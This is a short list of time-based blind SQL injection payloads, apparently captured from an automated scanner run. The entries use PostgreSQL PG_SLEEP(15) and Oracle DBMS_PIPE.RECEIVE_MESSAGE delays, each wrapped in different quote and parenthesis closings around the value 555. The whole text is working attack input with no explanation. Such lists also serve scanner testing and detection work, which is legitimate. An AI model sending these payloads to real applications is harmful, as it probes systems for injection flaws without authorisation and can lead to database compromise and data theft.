555-1 OR 582=(SELECT 582 FROM PG_SLEEP(15))--

555-1) OR 922=(SELECT 922 FROM PG_SLEEP(15))--

555-1)) OR 408=(SELECT 408 FROM PG_SLEEP(15))--

555ClvkDLZh' OR 173=(SELECT 173 FROM PG_SLEEP(15))--

555MGcvnJCQ') OR 658=(SELECT 658 FROM PG_SLEEP(15))--

555iDOgfhHF')) OR 548=(SELECT 548 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555